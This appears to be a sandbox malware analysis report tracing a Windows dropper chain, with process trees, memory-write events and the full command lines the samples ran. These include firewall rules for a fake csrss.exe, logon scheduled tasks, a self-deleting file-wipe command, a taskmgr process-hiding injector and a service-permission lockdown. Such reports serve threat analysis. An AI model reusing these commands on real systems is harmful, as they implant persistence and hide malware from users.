Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeDebugPrivilege	4124	powershell.exe
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520
Token: SeShutdownPrivilege	3520
Token: SeCreatePagefilePrivilege	3520

Suspicious use of FindShellTrayWindow 8 IoCs

Processes:

AddInProcess.exeexplorer.exe

pid process

832 AddInProcess.exe
1428 explorer.exe
1428 explorer.exe
1428 explorer.exe
1428 explorer.exe
1428 explorer.exe
1428 explorer.exe
1428 explorer.exe

pid	process
832	AddInProcess.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe

Suspicious use of SendNotifyMessage 9 IoCs

Processes:

explorer.exe

pid	process
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe
1428	explorer.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

BroomSetup.exe6E56.exe

pid process

4840 BroomSetup.exe
1604 6E56.exe

pid	process
4840	BroomSetup.exe
1604	6E56.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tmp.exeInstallSetup9.exeBroomSetup.execmd.exe31839b57a4f11171d6abc8bbc4451ee4.exe31839b57a4f11171d6abc8bbc4451ee4.execmd.execsrss.exenss4E12.tmpcmd.exe

description	pid	process	target process
PID 432 wrote to memory of 1144	432	tmp.exe	InstallSetup9.exe
PID 432 wrote to memory of 1144	432	tmp.exe	InstallSetup9.exe
PID 432 wrote to memory of 1144	432	tmp.exe	InstallSetup9.exe
PID 432 wrote to memory of 1636	432	tmp.exe	WerFault.exe
PID 432 wrote to memory of 1636	432	tmp.exe	WerFault.exe
PID 432 wrote to memory of 1636	432	tmp.exe	WerFault.exe
PID 432 wrote to memory of 828	432	tmp.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
PID 432 wrote to memory of 828	432	tmp.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
PID 432 wrote to memory of 828	432	tmp.exe	31839b57a4f11171d6abc8bbc4451ee4.exe
PID 1144 wrote to memory of 4840	1144	InstallSetup9.exe	BroomSetup.exe
PID 1144 wrote to memory of 4840	1144	InstallSetup9.exe	BroomSetup.exe
PID 1144 wrote to memory of 4840	1144	InstallSetup9.exe	BroomSetup.exe
PID 432 wrote to memory of 1788	432	tmp.exe	rty25.exe
PID 432 wrote to memory of 1788	432	tmp.exe	rty25.exe
PID 1144 wrote to memory of 4624	1144	InstallSetup9.exe	nss4E12.tmp
PID 1144 wrote to memory of 4624	1144	InstallSetup9.exe	nss4E12.tmp
PID 1144 wrote to memory of 4624	1144	InstallSetup9.exe	nss4E12.tmp
PID 4840 wrote to memory of 4100	4840	BroomSetup.exe	cmd.exe
PID 4840 wrote to memory of 4100	4840	BroomSetup.exe	cmd.exe
PID 4840 wrote to memory of 4100	4840	BroomSetup.exe	cmd.exe
PID 4100 wrote to memory of 1052	4100	cmd.exe	chcp.com
PID 4100 wrote to memory of 1052	4100	cmd.exe	chcp.com
PID 4100 wrote to memory of 1052	4100	cmd.exe	chcp.com
PID 4100 wrote to memory of 3184	4100	cmd.exe	windefender.exe
PID 4100 wrote to memory of 3184	4100	cmd.exe	windefender.exe
PID 4100 wrote to memory of 3184	4100	cmd.exe	windefender.exe
PID 828 wrote to memory of 4244	828	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 828 wrote to memory of 4244	828	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 828 wrote to memory of 4244	828	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 1672	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 1672	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 1672	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 1724	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	cmd.exe
PID 4412 wrote to memory of 1724	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	cmd.exe
PID 1724 wrote to memory of 4284	1724	cmd.exe	icacls.exe
PID 1724 wrote to memory of 4284	1724	cmd.exe	icacls.exe
PID 4412 wrote to memory of 2504	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 2504	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 2504	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 4084	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 4084	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 4084	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	powershell.exe
PID 4412 wrote to memory of 2692	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	csrss.exe
PID 4412 wrote to memory of 2692	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	csrss.exe
PID 4412 wrote to memory of 2692	4412	31839b57a4f11171d6abc8bbc4451ee4.exe	csrss.exe
PID 2692 wrote to memory of 4124	2692	csrss.exe	powershell.exe
PID 2692 wrote to memory of 4124	2692	csrss.exe	powershell.exe
PID 2692 wrote to memory of 4124	2692	csrss.exe	powershell.exe
PID 2692 wrote to memory of 1208	2692	csrss.exe	powershell.exe
PID 2692 wrote to memory of 1208	2692	csrss.exe	powershell.exe
PID 2692 wrote to memory of 1208	2692	csrss.exe	powershell.exe
PID 2692 wrote to memory of 532	2692	csrss.exe	WerFault.exe
PID 2692 wrote to memory of 532	2692	csrss.exe	WerFault.exe
PID 2692 wrote to memory of 532	2692	csrss.exe	WerFault.exe
PID 4624 wrote to memory of 2140	4624	nss4E12.tmp	cmd.exe
PID 4624 wrote to memory of 2140	4624	nss4E12.tmp	cmd.exe
PID 4624 wrote to memory of 2140	4624	nss4E12.tmp	cmd.exe
PID 2140 wrote to memory of 1056	2140	cmd.exe	timeout.exe
PID 2140 wrote to memory of 1056	2140	cmd.exe	timeout.exe
PID 2140 wrote to memory of 1056	2140	cmd.exe	timeout.exe
PID 2692 wrote to memory of 1292	2692	csrss.exe	injector.exe
PID 2692 wrote to memory of 1292	2692	csrss.exe	injector.exe
PID 3520 wrote to memory of 832	3520		RegAsm.exe
PID 3520 wrote to memory of 832	3520		RegAsm.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:432

C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1144

C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4840

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:4100

C:\Users\Admin\AppData\Local\Temp\nss4E12.tmp
C:\Users\Admin\AppData\Local\Temp\nss4E12.tmp
3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4624

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nss4E12.tmp" & del "C:\ProgramData\*.dll"" & exit
4⤵
- Suspicious use of WriteProcessMemory
PID:2140

C:\Windows\SysWOW64\timeout.exe
timeout /t 5
5⤵
- Delays execution with timeout.exe
PID:1056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4624 -s 2108
4⤵
- Program crash
PID:4552

C:\Users\Admin\AppData\Local\Temp\toolspub1.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"
2⤵
PID:1636

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:828

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 372
3⤵
- Program crash
PID:1680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 384
3⤵
- Program crash
PID:4412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 236
4⤵
- Program crash
PID:4352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 360
4⤵
- Program crash
PID:4308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 688
4⤵
- Program crash
PID:3272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 688
4⤵
- Program crash
PID:3748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 716
4⤵
- Program crash
PID:3344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 752
4⤵
- Program crash
PID:3684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 688
4⤵
- Program crash
PID:4904

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 652
4⤵
- Program crash
PID:3564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 344
4⤵
- Program crash
PID:3476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 392
3⤵
- Program crash
PID:1236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 680
3⤵
- Program crash
PID:2852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 692
3⤵
- Program crash
PID:5020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 716
3⤵
- Program crash
PID:2940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 748
3⤵
- Program crash
PID:4700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 756
3⤵
- Program crash
PID:4084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 756
3⤵
- Program crash
PID:3900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 756
3⤵
- Program crash
PID:4416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 796
3⤵
- Program crash
PID:3344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 884
3⤵
- Program crash
PID:3684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 768
3⤵
- Program crash
PID:4856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 800
3⤵
- Program crash
PID:4680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 816
3⤵
- Program crash
PID:2960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 720
3⤵
- Program crash
PID:4136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 780
3⤵
- Program crash
PID:2872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 800
3⤵
- Program crash
PID:4612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 848
3⤵
- Program crash
PID:1940

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4244

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4412

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
4⤵
- Suspicious use of WriteProcessMemory
PID:1724

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
5⤵
- Modifies Windows Firewall
PID:4284

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2504

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4084

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 372
5⤵
- Program crash
PID:4092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 388
5⤵
- Program crash
PID:4668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 728
5⤵
- Program crash
PID:1020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 728
5⤵
- Program crash
PID:1584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 776
5⤵
- Program crash
PID:4532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 800
5⤵
- Program crash
PID:3300

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 728
5⤵
- Program crash
PID:1112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 620
5⤵
- Program crash
PID:2464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 400
5⤵
- Program crash
PID:2288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 888
5⤵
- Program crash
PID:1936

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 844
5⤵
- Program crash
PID:4920

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
5⤵
PID:4692

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
5⤵
- Creates scheduled task(s)
PID:1280

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 920
5⤵
- Program crash
PID:5040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 956
5⤵
- Program crash
PID:3476

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
- Executes dropped EXE
PID:1292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 980
5⤵
- Program crash
PID:1460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 980
5⤵
- Program crash
PID:3880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 772
5⤵
- Program crash
PID:2552

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
5⤵
- Creates scheduled task(s)
PID:2476

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
5⤵
- Executes dropped EXE
PID:2468

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
PID:1396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 1144
5⤵
- Program crash
PID:2248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 1160
5⤵
- Program crash
PID:816

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
- Executes dropped EXE
PID:4612

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
- Executes dropped EXE
PID:2572

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
- Executes dropped EXE
PID:4028

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
- Executes dropped EXE
PID:4360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 732
5⤵
- Program crash
PID:4056

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
- Executes dropped EXE
PID:2940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 1156
5⤵
- Program crash
PID:996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 1200
5⤵
- Program crash
PID:4616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 1204
5⤵
- Program crash
PID:3576

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
- Executes dropped EXE
PID:3680

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
PID:4464

C:\Users\Admin\AppData\Local\Temp\rty25.exe
"C:\Users\Admin\AppData\Local\Temp\rty25.exe"
2⤵
- Executes dropped EXE
PID:1788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 828 -ip 828
1⤵
PID:3760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 828 -ip 828
1⤵
PID:3904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 828 -ip 828
1⤵
PID:4832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 828 -ip 828
1⤵
PID:3624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 828 -ip 828
1⤵
PID:3604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 828 -ip 828
1⤵
PID:2916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 828 -ip 828
1⤵
PID:1068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 828 -ip 828
1⤵
PID:2336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 828 -ip 828
1⤵
PID:384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 828 -ip 828
1⤵
PID:916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 828 -ip 828
1⤵
PID:4476

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
1⤵
- Creates scheduled task(s)
PID:3184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 828 -ip 828
1⤵
PID:4776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 828 -ip 828
1⤵
PID:832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 828 -ip 828
1⤵
PID:2880

C:\Windows\SysWOW64\chcp.com
chcp 1251
1⤵
PID:1052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 828 -ip 828
1⤵
PID:1468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 828 -ip 828
1⤵
PID:2508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 828 -ip 828
1⤵
PID:3412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 828 -ip 828
1⤵
PID:2400

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 828 -ip 828
1⤵
PID:4144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4412 -ip 4412
1⤵
PID:1236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 4412 -ip 4412
1⤵
PID:2336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4412 -ip 4412
1⤵
PID:4672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4412 -ip 4412
1⤵
PID:3756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4412 -ip 4412
1⤵
PID:4920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4412 -ip 4412
1⤵
PID:4148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4412 -ip 4412
1⤵
PID:4172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4412 -ip 4412
1⤵
PID:4476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4412 -ip 4412
1⤵
PID:2968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2692 -ip 2692
1⤵
PID:4968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2692 -ip 2692
1⤵
PID:4972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2692 -ip 2692
1⤵
PID:2484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2692 -ip 2692
1⤵
PID:4264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2692 -ip 2692
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2692 -ip 2692
1⤵
PID:4908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2692 -ip 2692
1⤵
PID:3780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2692 -ip 2692
1⤵
PID:1764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2692 -ip 2692
1⤵
PID:3484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2692 -ip 2692
1⤵
PID:4120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2692 -ip 2692
1⤵
PID:4132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4624 -ip 4624
1⤵
PID:4532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2692 -ip 2692
1⤵
PID:4036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2692 -ip 2692
1⤵
PID:4004

